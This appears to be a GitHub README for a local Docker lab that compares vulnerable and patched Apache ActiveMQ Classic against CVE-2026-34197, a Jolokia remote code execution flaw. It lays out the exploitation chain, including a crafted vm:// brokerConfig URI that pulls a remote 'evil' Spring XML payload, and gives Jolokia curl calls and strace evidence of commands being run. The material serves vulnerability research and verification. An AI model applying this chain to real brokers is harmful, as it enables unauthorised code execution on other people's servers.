rootdirective-sec/CVE-2026-34197-Lab
GitHub: rootdirective-sec/CVE-2026-34197-Lab
针对 CVE-2026-34197 Apache ActiveMQ Classic Jolokia 远程代码执行漏洞的本地 Docker 实验环境,并行部署漏洞版本与修复版本,并提供安全受限的检测与验证脚本。
Stars: 0 | Forks: 0
# CVE-2026-34197 — Apache ActiveMQ Classic Jolokia RCE 实验环境
## 概述
本仓库是一个用于研究 **CVE-2026-34197** 的本地 Docker 实验环境,CVE-2026-34197 是一个可通过 Jolokia JMX-HTTP API 触发的 Apache ActiveMQ Classic 远程代码执行漏洞。
本实验环境并行比较了两个 ActiveMQ Classic 实例:
| 服务 | 版本 | 用途 | URL |
| --------- | ------: | -------------- | ----------------------- |
| `vuln` | 5.19.3 | 存在漏洞的目标 | `http://127.0.0.1:8081` |
| `patched` | 5.19.4 | 已修复的对照目标 | `http://127.0.0.1:8082` |
本仓库包含两个验证脚本:
| 脚本 | 用途 | 安全模型 |
| ------------- | ---------------------- | ------------------------------------------- |
| `poc/detect.py` | 授权检测器 | 仅限 HTTP;不进行漏洞利用 |
| `poc/poc.py` | 仅限本地的 RCE 路径验证 | 固定命令:`id; whoami; sleep 5` |
命令执行的证据由操作员使用诸如 `strace` 等进程观察工具单独进行验证。
## 漏洞概述
CVE-2026-34197 影响特定版本的 Apache ActiveMQ Classic。在这些版本中,已通过认证的用户可以使用 Jolokia API 调用 Broker 管理操作,并通过精心构造的 `brokerConfig=xbean:http://...` URI 导致 Broker JVM 加载由攻击者控制的 Spring XML。
本实验环境中演示的漏洞触发流程为:
```
Jolokia /api/jolokia/
-> Broker MBean operation
-> addNetworkConnector(java.lang.String)
-> static:(vm://...?brokerConfig=xbean:http://...)
-> remote Spring XML fetch
-> ProcessBuilder bean initialization
-> fixed local proof command
```
已修复的服务会在获取 XML 之前阻止此路径,并返回类似以下的错误:
```
VM scheme is not allowed
```
## 仓库结构
```
.
├── docker-compose.yml
├── vuln
│ └── Dockerfile
├── patched
│ └── Dockerfile
├── poc
│ ├── detect.py
│ └── poc.py
├── images
│ └── strace.png
├── README.md
└── .gitignore
```
### 文件作用
* `docker-compose.yml` 用于运行存在漏洞的和已修复的 ActiveMQ 服务。
* `vuln/Dockerfile` 构建 Apache ActiveMQ Classic 5.19.3。
* `patched/Dockerfile` 构建 Apache ActiveMQ Classic 5.19.4。
* `poc/detect.py` 检查 Jolokia 的暴露情况、ActiveMQ 版本以及 Broker MBean 的可见性。
* `poc/poc.py` 使用固定的无害命令触发仅限本地的 RCE 路径。
* `images/strace.png` 包含来自存在漏洞的服务的本地进程观察证据。
* `.gitignore` 排除本地构建产物、Python 缓存文件、虚拟环境、日志和敏感信息。
## 安全边界
本仓库仅用于本地实验和授权的安全验证。
该 PoC 受到了故意的限制:
* 拒绝非本地目标。
* 不接受任意命令。
* 仅使用固定命令:`id; whoami; sleep 5`。
* 不通过回调收集命令输出。
* 依赖操作员控制的独立观察(例如 `strace`)。
`poc.py` 允许的本地目标:
```
127.0.0.1
localhost
::1
```
请勿将本仓库用于您不拥有或未获得明确授权测试的系统。
## 实验环境搭建
### 构建并启动实验环境
```
docker compose down -v
docker compose build
docker compose up -d
```
检查服务状态:
```
docker compose ps
```
预期服务:
```
cve-2026-34197-vuln Up / healthy
cve-2026-34197-patched Up / healthy
```
### 验证 Jolokia 版本端点
检查存在漏洞的服务:
```
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool
```
检查已修复的服务:
```
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8082' \
http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool
```
预期版本:
```
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4
```
## 检测器使用说明
`poc/detect.py` 是安全的默认脚本。它不会对目标进行漏洞利用。
它会检查:
1. `/api/jolokia/version` 是否可访问;
2. 是否需要身份验证;
3. 产品是否为 Apache ActiveMQ;
4. ActiveMQ 的版本;
5. Broker MBean 是否可通过 Jolokia 搜索可见;
6. 版本是否处于受影响的范围内。
### 针对两个实验服务运行检测器
```
python3 -m venv .venv
source .venv/bin/activate
pip install requests
python poc/detect.py \
-t http://127.0.0.1:8081 \
-t http://127.0.0.1:8082 \
-u admin \
-p admin \
-v
```
预期结果:
```
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE
http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE
```
### 检测器中如何判定为存在漏洞?
检测器在以下情况下会将目标标记为 `LIKELY_VULNERABLE`:
```
Jolokia is accessible
+
ActiveMQ version is in an affected range
```
本实验环境使用的受影响版本范围:
```
5.x < 5.19.4
6.x < 6.2.3
```
因为漏洞利用路径依赖于 Broker 管理操作,所以 Broker MBean 的可见性被用作可信证据。
检测器不会声明为 `CONFIRMED_RCE`。
## 仅限本地的 RCE 路径 PoC
`poc/poc.py` 在本地 Docker 实验环境中演示了 RCE 路径。
它会在主机上启动一个临时的 HTTP 服务器,并在每次运行独有的路径下提供 Spring XML Payload:
```
/evil-.xml
```
然后它通过 Jolokia 调用 ActiveMQ Broker MBean:
```
addNetworkConnector(java.lang.String)
```
并使用精心构造的 discovery URI:
```
static:(vm://cve34197?brokerConfig=xbean:http://host.docker.internal:9100/evil-.xml)
```
存在漏洞的 Broker 会获取此 XML。而已修复的 Broker 会在获取 XML 之前阻止 `vm://` 传输协议。
### 重要行为
在一次针对存在漏洞的运行之后,创建的 NetworkConnector 可能会重试获取旧的 XML 路径。该脚本使用每次运行特有的随机数,并追踪 `matches_current_run` 以避免误报。
只有当匹配以下条件时,命中才会被计入当前运行:
```
/evil-.xml
```
## 针对存在漏洞的服务运行 PoC
```
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
```
预期输出:
```
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-.xml
matches_current_run: true
```
这证实了可以通过 Jolokia 管理的 Broker 路径,使 ActiveMQ 5.19.3 获取由攻击者控制的 Spring XML。
## 针对已修复的服务运行 PoC
```
python poc/poc.py \
--target http://127.0.0.1:8082 \
-u admin \
-p admin
```
预期输出:
```
VM scheme is not allowed
[-] No XML fetch observed for this run.
```
如果出现了来自较早的存在漏洞的运行的命中,它们应显示为:
```
"matches_current_run": false
```
这些不会被计作已修复服务的成功验证。
## 使用 strace 确认命令执行
PoC 脚本不会收集命令输出。要确认命令已执行,请观察存在漏洞的容器内部的进程创建过程。
以 root 身份进入存在漏洞的容器:
```
docker exec -it --user root cve-2026-34197-vuln bash
```
查找 Java 进程:
```
pgrep -af java
```
将 `strace` 附加到 Java PID 上:
```
strace -f -e execve -p
```
在另一个终端中,针对存在漏洞的服务运行 PoC:
```
python poc/poc.py \
--target http://127.0.0.1:8081 \
-u admin \
-p admin
```
预期的 `strace` 证据:
```
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)
```
这是证明固定的验证命令由 Broker JVM 执行的操作系统级别证据。

## 运行之间的清理
PoC 在触发之前会尝试移除默认的 NetworkConnector 名称 `NC`。这使得重复的实验运行保持结果可预测。
手动清理:
```
curl -sS \
-u admin:admin \
-H 'Origin: http://127.0.0.1:8081' \
-H 'Content-Type: application/json' \
-X POST \
http://127.0.0.1:8081/api/jolokia/ \
-d '{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "removeNetworkConnector(java.lang.String)",
"arguments": ["NC"]
}' | python3 -m json.tool
```
或者重启实验环境:
```
docker compose restart vuln patched
```
## 预期实验结果
| 测试 | 存在漏洞的 5.19.3 | 已修复的 5.19.4 |
| ----------------------- | ------------------------------------ | ------------------------------ |
| `detect.py` | `LIKELY_VULNERABLE` | `NOT_AFFECTED_BY_VERSION` |
| Jolokia 访问 | 需要认证即可访问 | 需要认证即可访问 |
| Broker MBean | 可见 | 可见 |
| `poc.py` XML 获取 | 是 | 否 |
| 修复阻止的签名特征 | 无 | `VM scheme is not allowed` |
| strace 命令证据 | `/bin/sh -c 'id; whoami; sleep 5'` | 不预期出现 |
## 参考资料
* Apache ActiveMQ 安全通告 — CVE-2026-34197: [https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt](https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt)
* NVD — CVE-2026-34197: [https://nvd.nist.gov/vuln/detail/CVE-2026-34197](https://nvd.nist.gov/vuln/detail/CVE-2026-34197)
* CVE.org — CVE-2026-34197 记录: [https://www.cve.org/CVERecord?id=CVE-2026-34197](https://www.cve.org/CVERecord?id=CVE-2026-34197)
* GitHub 安全通告数据库 — GHSA-rxpj-7qvf-xv32: [https://github.com/advisories/GHSA-rxpj-7qvf-xv32](https://github.com/advisories/GHSA-rxpj-7qvf-xv32)
* Horizon3.ai — CVE-2026-34197 通过 Jolokia API 实现的 ActiveMQ RCE: [https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/](https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/)
* Apache ActiveMQ Classic 文档 — Networks of Brokers: [https://activemq.apache.org/components/classic/documentation/networks-of-brokers](https://activemq.apache.org/components/classic/documentation/networks-of-brokers)
* Apache ActiveMQ Classic JMX BrokerView API 文档: [https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html](https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html)
标签:Apache ActiveMQ, CISA项目, CVE-2026-34197, Docker, Docker Compose, JMX-HTTP, Jolokia, Maven, OPA, PoC, RCE, SDLC, Spring XML, 中间件漏洞, 安全实验, 安全防御评估, 开放策略代理, 暴力破解, 漏洞复现, 漏洞验证, 版权保护, 编程工具, 网络安全, 请求拦截, 远程代码执行, 逆向工具, 隐私保护, 靶场